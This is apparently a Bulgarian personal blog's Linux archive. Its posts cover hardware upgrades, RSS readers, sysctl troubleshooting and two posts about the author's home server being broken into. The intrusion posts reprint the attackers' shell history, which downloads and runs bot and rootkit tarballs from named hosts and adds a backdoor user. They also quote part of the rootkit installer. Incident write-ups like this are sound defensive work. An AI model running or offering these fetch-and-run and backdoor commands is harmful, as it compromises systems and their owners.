Category Archives: Линукс

ASUS BIOS flash

От както си взех новото дъно и процесор ми правеше впечатление, че cat /prco/cpuinfo ми дава много странно име на процесора “AMD Engineering Sample xx”. Това звучи като някаква мостра, но не ми хареса. След малко търсене в мрежата се оказа, че пролема е в BIOS-а, който не разпознава правилно процесора и в страницата на ASUS пише да си го флашна с най-новата версия. Пипането по BIOS-а си е винаги опасна работа, въпреки новите двойни BIOS-и. Зачетох се в упътванията и се оказа, че няма да мина без флопи. Първо си мислех да стартирам от CD, но диска, който дойде с дъното се оказа, че не е самостартиращ се (въпреки, че твърди обратното). Така се наложи да взема CD-ROM-а и флопито от старата кутия и да ги монтирам на новата.

Изтеглих си най-новата версия (1009) на BIOS-а за моето дъно (ASUS K8N) и най-приемливия вариант за обновяване на BIOS-а ми се стори този при който натискам ALT+F2 по време на стартирането на компютъра и той автоматично търси файл K8N.ROM във A: флопито. Ако намери флашва, ако не – не иска 🙂 Това пак беше решение, защото нямаше как да направя стартираща дискета със DOS (нямаше готови имиджи, а само .exe-та). Ако нямах флопи, май няма начин.

Всичко мина без проблем и вече процесора ми е “AMD Sempron(tm) Processor 2600+” 🙂 какъвто си е всъщност. Само все още ме притеснява, че никъде не пише 64 bit. Яд ме е, че не записах какво точно пише на процесора, преди да сложа вентилатора. Видях на един сайт как да разпознавам дали е 64-битовия вариант или не. Ако не е, да ходя да го връщам и да ми дадат какъвто трябва. Така и не мога да го разбера под Линукс. По всички сайтове говорят за една програмка CPU-Z за Windows, а за Линукс нищо. Поне от многото търсене по разни хардуерни форуми разбрах, че това дъно и процесор държат яко на овърклокинг 🙂 Ще трябва да пробвам, въпреки, че и тази производителност за сега ми е достатъчна.

допълнение: сетих се, че на диска имам един стар Windows98, който реших да пусна и да пробвам CPU-Z. С цената на много мрънкане за открит нов хардуер, на многократно натискане на “Skip” и режим 640×480 с 16 цвята успях да пусна програмката и видях флага x86-64, което ме успокои 🙂 Въпреки това си мисля, че не означава, че архитектурата ми е 64-битова (x86_64, като на Athlon64), а си е 32 битова x86. Командата “arch” връща i686. Нещо ми е объркана работата с тези Sempron-и.

допълнение2: Всъщност настоящото ми адро 2.6.13.2 го компилирах за Athlon64/Opteron/Hammer и си работи. Просто все още няма отделна подръжка за Sempron и аз избрах тази опция. Май и аз не знам с каква архитектура съм ?!?

Ъпгрейд

Време беше и аз да се ъпгрейдна 🙂 Снощи си купих ново дъно (ASUS K8N, с nForce 3 250 чипсет), процесор (AMD Sempron 2600+ 64bit), памет (Kingmax DDR 256MB 400MHz) и кутия (COLORSit 350W). Взех ги на части, нямах време веднага да ги сглобя, защото ходихме в Банята да гледаме експериментални филми. Хубави бяха, но много дълго продължиха и към 11 и нещо си тръгнахме, а щеше да има още един дълъг филм. По време на филмите се видях с Буков и взех от него една GeForce2, защото старата ми VANTA, нямаше да тръгне на новото дъно. Прибрах се и се заех със сглобяването. Нямаше как да заспя, преди да го пусна 😉 Един болт на кутията ме озори малко и дори се порязах леко, но се сборих 🙂 Останалите части ги сглобих лесно и се захванах със софтуерните проблеми.

Първо пробвах с моето ядро, но се панира, защото няма подръжка на новото дъно и се наложи да го оправям със старото ядро 2.6.3, което ми е единственото компилирано от ArchLinux. С него тръгна конзолата (дори фреймбуферна), но почти нищо друго не работеше. Естествено нямаше звук, но по-странното беше, че и интернета не тръгна. Уж зарежда модула, вдига се интерфейса, но пакетите не минават ?!? Заех се да си прекомпилирам едно ново ядро. Това му е най-хубавото на новия процесор – прекомпилиране на ядро за по-малко от 10 минути 🙂 С него всичко си тръгна. Явно мрежовата ми карта Realtek8139 иска модула (8139too) да е компилиран вътре в ядрото, иначе не бачка ?!? Звука също тръгна, само където не мога да се нарадвам на всичките 8 канала, а за сега съм само на стерео. Гномчето направо фръкна и всичко се държи много добре 🙂 Все пак разликата от предишния ми компютър (Celeron 400, 128MB RAM) е значителна. А да ми е честито и да изкара поне толкова, колкото и предишния (4-5 години).

Стъпки

Днес ходих до университета и си предадох последните два проекта, които ми оставаха. Това бяха последните стъпки преди дипломната, която единствена ми остава сега. Всъщност дори не очаквах бат’ Бойко още днес да ми ги провери и в началото не си носех книжката и се връщах до нас, а след това се наложи да ходя и до 4-ти корпус, за да ми сложат печати на протоколите. Въобще голямо разкартване стана в следобедната жега, но поне си струваше – писа ми една 5-ца и една 6-ца 🙂 След работа останах малко да налепя някои елементи по mp3 плеъра, който всъщност ми е и дипломната. Вече не знам дали ще тръгне, но поне ще пробвам. Като защитя проекта, пускам всичко (схема, програма, платка) под Creative Commons, така че стискайте палци 🙂

Вечерта беше свързана с друга стъпка. С Дафо, Пейо, Владо, Йонов, Гери и Маги се включихме в бирените празненства по случай новата версия 2.12 на Gnome ;*) Всъщност на момичетата май им беше доста скучно, за което се извинявам 😛 Поне почетохме новия гном, който вече го имаше в testing на Archlinux и сега съм него 🙂 Ай, наздраве !

Моите RSS неволи

Човек дори и добре да браузва, един ден се сеща за RSS. Моите премеждия с RSS са от доста отдавна … преди време. още когато нямах кабелен интернет, се кефих на Evolution, как събира всичко каквото му кажеш и ти го показва в една страница. Тогава това беше наистина нещо ново за мен, но без постянна връзка към мрежата – неефективно. Постепенно дойде интернета, аз малко позабравих тези неща, а когато се сетих, вече имаше Evolution версия 2 и там няма подръжка на RSS (колкото и да търсих 😛 ).

После се появи подръжка на RSS в CenterICQ, но щастието ми беше кратко – традиционните проблеми на клиента с различни кодирания, се бяха пренесли и върху тази му част. Въпреки това все още използвам CenterICQ да следя някои новини на англииски.

Един ден реших да пробвам mono и като тестови програми сложих F-Spot и Blam. За проблемите ми с F-Spot може би ще разкажа друг път, сега говоря за RSS. Blam е многообещаваща програмка, която се развива доста, но все още има някои досадни бъгове. Някои новини ги отваря много зле форматирани, например в много тясна и висока колона с може би 1-2 думи на ред или цвета на буквите и фона е един и същ, и други такива проблемчета, които бързо ме отказаха от тази програма на този етап.

На работата ми на Windows използвам LiveBookmarks на Firefox, но и този начин за следенене на блогове и новини не ми удобрен.

Снощи беше преломния ден за мен по отношение на RSS. В GnomeJournal прочетох статия за RSS четци за Gnome. От там попаднах на Liferea ( LINux FEed REAder), което се оказа точно това което търсих. Подържа всичко, което ми трябва, дори и повече – RSS/RDF, CDF, Atom, OCS, OPML. Няма нужда от външен браузър, за да отваря връзките, което беше основния недостатък на другите четци. Всъщност използва GtkHTML2 или Mozilla, но все пак си отваря всичко в същия прозорец 🙂 С GtkHTML имах някакъв проблем с UTF8, но като превключих на Mozilla всичко се отаваря както трябва. Подържа папки, всичко се подрежда много добре, и дори има виртуални папки, по даден критерии. Позволява индивидуални настроики за всеки “канал”, и всичко работи доста стабилно. Поне от вчера до сега не съм му намерил нещо, което не ми е харесало. Единствено не подържа (и няма планове да подържа) HTTPS , но и за това има workaround, като задаваш команда, вместо URL (а може и файл). Например за gmail :

curl -s -u username:password https://mail.google.com/mail/feed/atom

Всичко до тук ме накара с удоволствие да изпълня

pacman -R blam

Сега Liferea си стои почти постоянно пуснато и не се налага да обикалям сайтове, на които няма промяна. Така ще хващам бързо хора, които напоследък рядко пишат в блоговете си.

Системен контрол

Днес продължиха неволите ми с интернета. След като от два дена нямах никакви изходящи заявки и вчера вечерта (към 21 часа), като се прибрах след работа, а в Енджъл Софт нямаше никой на дежурните телефони (или поне никой не ми вдигна) и изядоха сумати псувни, днес реших да се обадя от работата ми. Преди това реших да видя какво е положението и пробвах да свържа по SSH, направо се опулих като успях ! Веднага пробвах да отворя някоя страница или ftp, но нямах никакъв успех. Имам ping, DNS, traceroute, но при опит за иницииране на заявка към HTTP или FTP заявка навън мигновеннпо ме отрязва и казва, че заявката е отказана. След като си погових с човека, който ми вдигна и най-конкретния му въпрос беше : “какво ти казва internet explorer ?”, ми дадоха друг, с който се разбирах по-добре. Поговорихме си половин час докато успя да ме убеди, че проблема е в мен, но така и не ни дойде на ум къде може да е. Нямам никакви правила в iptables, нито съм настройвал някакав firewall напоследък. Успявам да се свържа от вън по ssh или web, но от мен навън не излизат заявки по TCP (само DNS и ping). Човекът (не му узнах името) каза, че като пробвам да отворя някоя страница с links (или lynx) не се праща никаква заявка към gateway-а ми, където евентуално някое правило може да я спре. Това всъщност беше доказателствто, че проблема е в мен. Проверих всичко за което се сетихме и двамата, но всичко си беше наред и би трябвало да имам интернет. Прекратихме разговорът, а аз продължих да мисля какво съм правил напоследък. Изведнъж ми светна, че при поредни update на ArchLinux-а пакета procps искаше да презапише файла /etc/sysctl.conf, който аз бях създал с една единствена настройка – нещо за wine-а, който така и не ползвам. Тогава преименувах стария файл, пуснах да се инсталират новите пакети и всичко си мина добре и забравих да видя новия sysctl.conf. Днес веднага, след като се сетих за това, издърпах файла чрез scp и видях, че съдържанието му е следното :

#
# Kernel sysctl configuration
#

# Disable packet forwarding
net.ipv4.ip_forward=0

# Disable IP source routing
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.lo.accept_source_route = 0
net.ipv4.conf.eth0.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0

# Enable IP spoofing protection, turn on source route verification
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.lo.rp_filter = 1
net.ipv4.conf.eth0.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1

# Disable ICMP Redirect Acceptance
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.lo.accept_redirects = 0
net.ipv4.conf.eth0.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0

# Enable Log Spoofed Packets, Source Routed Packets, Redirect Packets
net.ipv4.conf.all.log_martians = 0
net.ipv4.conf.lo.log_martians = 0
net.ipv4.conf.eth0.log_martians = 0

# Disables the magic-sysrq key
kernel.sysrq = 0

# Decrease the time default value for tcp_fin_timeout connection
net.ipv4.tcp_fin_timeout = 15

# Decrease the time default value for tcp_keepalive_time connection
net.ipv4.tcp_keepalive_time = 1800

# Turn off the tcp_window_scaling
net.ipv4.tcp_window_scaling = 0

# Turn off the tcp_sack
net.ipv4.tcp_sack = 0

# Turn off the tcp_timestamps
net.ipv4.tcp_timestamps = 0

# Enable TCP SYN Cookie Protection
net.ipv4.tcp_syncookies = 1

# Enable ignoring broadcasts request
net.ipv4.icmp_echo_ignore_broadcasts = 1

# Enable bad error message protection
net.ipv4.icmp_ignore_bogus_error_responses = 1

# Log Spoofed Packets, Source Routed Packets, Redirect Packets
net.ipv4.conf.all.log_martians = 1

# Increases the size of the socket queue (effectively, q0).
net.ipv4.tcp_max_syn_backlog = 1024

# Increase the tcp-time-wait buckets pool size
net.ipv4.tcp_max_tw_buckets = 1440000

# Allowed local port range
net.ipv4.ip_local_port_range = 16384 65536

За съжаление при поредните опити да си оправя настройките бях рестартирал udev (/etc/start_udev), с надежда, че е някакъв проблем с правилата, при което се размонтира /dev/pts и така си отрязах достъпа, като не искаше да ми отвори конзола. Трябваше да дочакам докато се прибера, веднага преименувах /etc/sysctl.conf и за най-бързо рестартирах без да влязат в сила настройките описани вътре. Както и очаквах проблемът се оказа именно там и заявките ми си тръгнаха нормално. Сега мисля да пиша в bug tracker-a на ArchLinux за проблема, който определено е при тях. Все още не знам точно кой ред е отрязвал изходящите връзки, но съм доволен, че вече всичко се оправи. Ако някой от AngelSoft чете това, да го приеме като извинение, но просто не знаех какво да мисля, след като не съм правил нищо конкретно. Всички останали – внимавайте с ъпгрейдите, особено с дистрибуции като Arch, където всичко излиза, скоростно без много да е тествано. Винаги имайте едно на ум къде може да е проблема.

Siemens Mini How-To v0.2

Siemens mini How-To


Автор : Христо Илиев

email: iko at drundrun dot org

v0.2 Дата : 16 юни 2005 г.

Промени:

  • Добавено обяснение за монтиране през IrDA
  • Добавено обяснение за монтиране чрез USB кабел
  • Обновени версии на програмите и интернет адресите
  • Нов лиценз – Creative Commons Attribution
  • други дребни козметични промени 🙂

v0.1 Дата : 24 Април 2004 г.

  • Първоначална версия

Continue reading Siemens Mini How-To v0.2

FUSE и новите линукси

От известно време се чудих какво става с новите ядра и защо и аз не мога да си монтирам Siemens-а с моето mini HowTo, което написах преди повече от година. Преди няколко дена получих email от читател с уаказания как се монтира през IrDA и реших, че е време да се разровя какво става и да напиша нова версия на HowTo-то. Днес изтеглих най-новите версии на fuse (2.3.0) и siefs (0.5) и се обнадеждих, че трябва да стане. Прибирам се, компилирам fuse-то, не дава никакви грешки, но като пробвам да заредя модула отново изкача :

# modprobe fuse

FATAL: Error inserting fuse (/lib/modules/2.6.11-ck1/kernel/fs/fuse/fuse.ko): Invalid module format

Ядосах се, отидох пих една бира с Йонов и като върнах се зарових в google. Учудващо за мен изкара доста малко резултати. В един форум на gentoo срещам подобна тема отбелязана като [Solved], но единственото нещо за което се говори е да се прекомпилира FUSE със същата версия на gcc, с която е компилирано ядрото. В началото това ми се вижда глупост и продължавам да търся. Единствения друг свястен резултат, е че fuse < 2.1 не е съвместим с ядра по-нови от 2.6.10. Аз съм с 2.6.11 , но робвам FUSE 2.3 , с което трябва да няма проблем. Освен това човека по-късно в дискусията казва, че не може да повтори “бъга”.

Изведнъж се сещам за първото нещо, което трябваше да проверя (!!!) – какво казва dmesg при опит да заредя модула:

fuse: version magic ‘2.6.11-ck1 preempt PENTIUMII 4KSTACKS gcc-4.0’ should be ‘2.6.11-ck1 preempt PENTIUMII 4KSTACKS gcc-3.4’

Явно наистина е необходимо fuse и ядрото да са компилирани с една версия на gcc. Сега не ми се връща 3.4 да прекомпилирам FUSE-to, затова направи си тегля linux 2.6.12-rc6 и ще компилирам него с новия компилатор. Ако всичко тръгне, ще напиша и новото HowTo за Siemens 🙂

Rhythmbox

Тази вечер реших да пробвам музикалната програма за GnomeRhythmbox. Потърсих из пакетите на Archlinux и естествено я имаше, дори излезе и rbscrobbler, което е добавката за AudioScrobbler. Казах си супер ! Pacman-а си свърши бързо работата с инсталирането. Главното нещо поради което не ми харесваше xmms напоследък, беше че не се разбира добре с таговете на песните, написани на кирилица и по-специално не излизат правилно на AudioScrobbler (това май е по вина на plug-in-а но все пак си е проблем).

Rhythmbox е вдъхновен от i-tunes и изглежда много добре. Индексира музикалните файлове и после може да се разглежда списъка по група, албум, жанр и всичко останало 🙂 Използва gstreamer, което позволява да възпроизвежда всякакви файлове. Лошото е че няма plug-in интерфейс и rbscrobbler всъщност не е добавка а отделна програмка, която трябваше да пусна отделно в друг терминал. Въпреки това неудобство, всичко работеше, дори и имената на песните в моя профил на AudioScrobbler.com се появяваха на български. Обнадежден реших да добавя цялата ми колекция от музика, която е малко над 2000 песни (не е малко, но съм виждал хора с мнооого повече) и тогава започна голямото чакане. Оставих го малко да поработи насаме и след десетина минути се върнах, видях че още не е свършил, от което не се учудих, но реших да си пусна браузъра (Opera 8), който беше просто минимизиран. Така и не дочаках да се появи, всичко започна да умира – мишката спря да се движи дори и музиката замлъкна. С леко търпение успях да отворя конзола и да убия браузъра и rhythmbox-а. В същия момент проверих натоварването (Load Average) беше достигнало 12.55 , каквото никога не бях виждал. Само мога да поздравя Linux-a, че издържа на такова натоварване.

За сега май ще оставя Rhythmbox-a и ще се върна на xmms. Просто новия софтуер се пише за нов хардуер и не е за моя Celeron на 400MHz с 128MB RАМ и натоварен с Gnome 2.10 и няколко сървъра. Ще трябва да си ползвам и стар софтуер, или поне не всичко което ми се иска … и така до следващия ъпгрейд 😉

Кракнаха ме (част II)

Това е продължение на предишното ми писание. Реших да не го редактирам, а да напиша още един пост по темата.

Разгледах малко по-подробно rootkit-a, който са (опитали да) ми сложат на компютъра. Честно казано добре изглежда, но има една много тъпа проверка, която не минава при мен:

if [ ! -d /etc/rc.d/init.d ] || [ ! -d /etc/rc.d/rc0.d ]; then
    echo "${cl}${hred}Argh!! .. SysV init not found${cl}${wht}"
    echo "${cl}${hred}Installation aborted.${cl}${wht}"
    /etc/rc.d/init.d/syslog start >/dev/null 2>&1
    exit 1
fi

Просто в ArchLinux няма нито /etc/rc.d/init.d, нито /etc/rc.d/rc0.d . За моя радост, тази грешка е фатална за инсталатора на rootkit-а. ArchLinux използва далеч по-стандартното за lInux /etc/rc.local за стартиращ конфигурационен скрипт и директория /etc/rc.d/ в която са стартиращите скриптове за различните услуги. За всеки случай преинсталирах coreutils и procps, но не забелязах разлика в размера на файловете, така че си мисля, че са се отказали, след съобщението :

Argh!! .. SysV init not found
Installation aborted

Аз лично си пуснах install скрипта и се получи същото съобщение 🙂 Може би затова са екпортнали пътя с текущата директория и са пуснали бота така.

Та като се правите на кодери (koderS), поне си оправяйте скриптовете да бачкат 🙂

Кракнаха ме

Днес нетипично за мен, реших да се логна като root и гледам last login from prag164.server4you.de и то от снощи. Викам си, бре хакнали са ме, ама нищо не бях усетил, май не са трили нищо (дано, още не съм разследвал всичко). Пуснах един netstat-tupan и гледам някакъв процес слуша на 58 хиляди и някой порт с име httpd и го kill-нах. Освен това май имаше и един ssh тунел или просто увиснала сесия, но и нея убих преди да определя точно. Започнах да търся какво са правили.

#last 
koders   pts/0        213.193.222.30   Sun May  1 22:09 - 22:10  (00:01)    
koders   pts/0        213.193.222.30   Sun May  1 21:14 - 21:14  (00:00)    
ifos     vc/3                          Sun May  1 21:04 - 00:03  (02:58)    
iko      vc/4                          Sun May  1 17:14   still logged in   
iko      vc/8                          Sun May  1 17:13   still logged in   
koders   pts/0        prag164.server4y Sun May  1 16:24 - 16:30  (00:06)    
root     pts/1        prag164.server4y Sun May  1 16:17 - 16:24  (00:06)    
root     pts/0        prag164.server4y Sun May  1 16:16 - 16:19  (00:03)

Яяя дори са си направили потребител koders без много да му мислят. Дори си има и home директория. Изтрих koders от /etc/passwd и после един преглед на .bash_history

# cat .bash_history 
cd /var/tmp
cd .bash
ls
wget www.onhelp.go.ro/dns.tgz
cd ..
mkdir .a
cd .a
wget www.onhelp.go.ro/dns.tgz
ps -x
ps -aux
tar -zxvf dns.tgz
cd dns
mv bot httpd
chmod 777 httpd
export PATH="."
httpd
wget http://heanet.dl.sourceforge.net/sourceforge/undernet-ircu/ircu2.10.11.07.tar.gz
ps -aux
kill -9 5167
cd /var/tmp
ls
ls -a
cd .a
ls
cd dns
export PATH="."
httpd
exit

Отивам в /usr/tmp и доколкото разбрах са си компилирали някъв irc bot emergymech. От тази им постъпка си мисля, че са просто разни script kiddies, които се хвалят в IRC с всяка пробита машина. Това което ме притеснява, е че са влизали като root. Не са чистили много логове (може би хич) и редовете от .bash_history, които не са мои са :

[B
[B
w
cd /var/tmp   
mkdir .bash  
wget www.filiasi.com/thug.tgz
wget www.filiasi.com/tupac.tgz
tar -zxvf 
tar -zxvf tupac.tgz
cd muie
id
./install
adduser koders
passwd koders

Влизали са от два компютъра 62.75.224.165 (prag164.server4you.de), което е в Германия и 213.193.222.30, което е в Холандия. Видях конфигурацията на бот-а : канал #OnHelp в Undernet. Влезнах там, но се задържах само няколко секунди, докато някой ми каза IkO_, say a и получих бан. Не се занимавах повече, освен че видях инфото на този, които ме изрита и там се рекламираше сайт www.koderS.biz. От този сайт, и малко с помощта на Йонов, защото нямам photoshop, видях че най-вероятно са румънци, което малко ме учуди, защото ги мислех за холандци.

Честно казано цялата работа, дори малко ме ласкае, защото не вярвах, че моята домашна машинка, на мизерна връзка, може да е приманлива цел за проникване. Лошото, е че не разбрах точно как са влезнали първоначално. Имам пуснати OpenSSH 4.0p1-1 и Apache 2.0.54-1, и двете от пакети на ArchLinux, където всичко по принцип е най-последна версия. Другия вариант е да са ми познали root паролата, която беше нормална английска дума. Сканирано ми е Apache-то за разни популярни директории и файлове, но на всичко е върнало 404, освен на нормания GET. Мисля си, да не е някой модул за него ?!? Или да има exploit за последната версия на OpenSSH ?!?

п.с. сега като препрочитам виждам, че бота са го свалили точно от румънски сайт, което потвърждава теорията, че са румънци. Дано не ме ядосат повече, защото не ми се занимава с глупости. Мислех, че това минал период за мен. Дано да остане така. За сега не мисля да им играя по свирката.